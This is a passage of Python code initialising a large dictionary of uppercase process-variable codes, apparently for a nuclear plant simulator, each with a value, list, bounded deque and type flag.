'ZPRZ': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PPRZLP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WPORV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HPRT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WPRT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZPRZUN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UPRTL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QPRT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'EPRTL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZPRTL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HPORV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WPRZSV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HPRZSV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'EPRTBL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'VPRTG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WPRTBL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BPORVA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BPORVB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BPORVC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CON_05': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CON_25': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZPRZ1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPPRZN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZPRZN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CLETNO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPSV5': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CAUXSP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPLETDB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPLDBH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWNETUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CLDBP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CCFCV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZPRZS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CLDMAX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CLDMIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CINMAX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CINMIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZVCT1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZVCT2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZVCT3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZVCT4': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZVCT5': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZVCT6': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZVCT7': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWCHAR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPLDEX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CLDEX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBATCH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CHTARG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CHTANR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CHTAEX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CHTASW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CHTARH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CURWST': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CUSUMP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZRWST': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CONBOR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CONDEM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBORAC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWRCPSI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPRCPSD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CRHRWST': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CRHXBP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CRECIR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CUATMO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWCCWN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWCCWE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWCCWS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWCCWH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CHTCRG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CCTRG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CHTCNR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CCTNR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CHTCEX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CCTEX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CHTCSW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CCTSW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CHTCRH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CCTRH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWCHARG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CRHRSMP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CUCOOL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPCOOL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CHV142': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWRHRC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'KRHRP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCHRGP1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCHRGP2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCHRGP3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLDBPM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCFCVM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KFV610': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KFV611': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KFV612': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KFV613': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KHV43': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KMUST': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KMUMS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPSEL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KV243': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KOLV459': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KDTV143': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KHLV614': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KOLV616': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCHV1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCHV30': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCLV459': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBTV143': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KVLV614': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCLV616': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KOHV102': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KOHV201': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCHV102': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCHV201': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KOLV615': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KOHV22': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCLV615': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCHV22': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KOHV1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KOHV105': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KMAUTO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KAHV102': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBHV102': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KAHV201': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBHV201': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KTLV459': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KTHV1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KAHV1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBHV1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KALV459': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBLV459': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KALV615': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBLV615': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KALV616': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBLV616': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'CBINTR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBVOLM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBRWIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBVCT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBV243': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBRWST': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV102': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV105': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFV122': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFV122I': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BTV143': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV18': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV201': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV22': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV30': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV40': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV41': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV50': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV603': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFV605': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV8': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BLV459': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BLV614': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BLV615': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BLV616': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BPSV5': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BPV145': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BPV145I': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBCVCS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBSISH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBSISC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBRHR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'EBOAC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'EDEWT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PLETDB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PLDBINT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PRCPSD1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PRCPSD2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PRCPSD3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCHGIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCHGUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'URHXUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UNRHXUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'USWHXUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCCWNR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCCWEX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCCWSW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCCWRH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'USISC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'USISH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'URHRUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UEHXUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'VRWST': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WBOAC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCMINI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCHGNO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WDEWT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WEXLD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHV105': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHV22': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLETDEX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLETDNO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WNETLD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRCPSI1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRCPSI2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRCPSI3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRCPSR1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRCPSR2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRCPSR3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHRHX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSISC1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSISC2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSISC3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSISH1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSISH2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSWHX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHRA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHRB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHRCVCS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHRTL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHRWST': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHRSUMP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZRWST': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZVCT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZPRZSP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHRRE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'URHRRE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLV615': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WDEMI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLV616': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFV611': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFV612': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WV243': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBFV611': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBFV612': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WSGLEAK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCHARGT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WPSV5': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PVCT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAUXSP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WNETCH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHRBP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHRCL1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHRCL2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHRCL3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHRCS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV142': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'URHRIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHRCVC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHRSMP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PLETIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLETD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WNETUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV14': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHV14': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHREC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHV18': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBKAERI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPCMTH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CSRWST': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CSSUMP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZSUMP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CSPFSL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CSCTD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CUCCW1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CUCCW2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CINSTP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CCUQRC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CCVRAF': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CCVRG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CCVRL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ECVWI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PCVTI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QCVFCI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'TCVLF': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCVFSW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCVGI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCVHCA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCVRVI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'VCVRT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCVH2I': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCVRGI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCVRLI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'XCVLF': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCVARI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'YCVHCA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'YCVHI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'YCVMCP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'YCVRI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZCVRM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CCVFCF': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CCVQRV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PCVAI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PCVSI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'VCVAI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'YCVAR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PAKGCM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'YCVRLC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'KCCWSP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCTMTSP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KINSTA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KH2RCB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KAIROK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSLOW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KFAST': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCSAS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCISOA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCISOB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCVSH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'PINSTA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCCWIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'VSUMP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV101': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHV101': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCSRWST': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCSSUMP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBSMIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CBSUMP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCCWUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
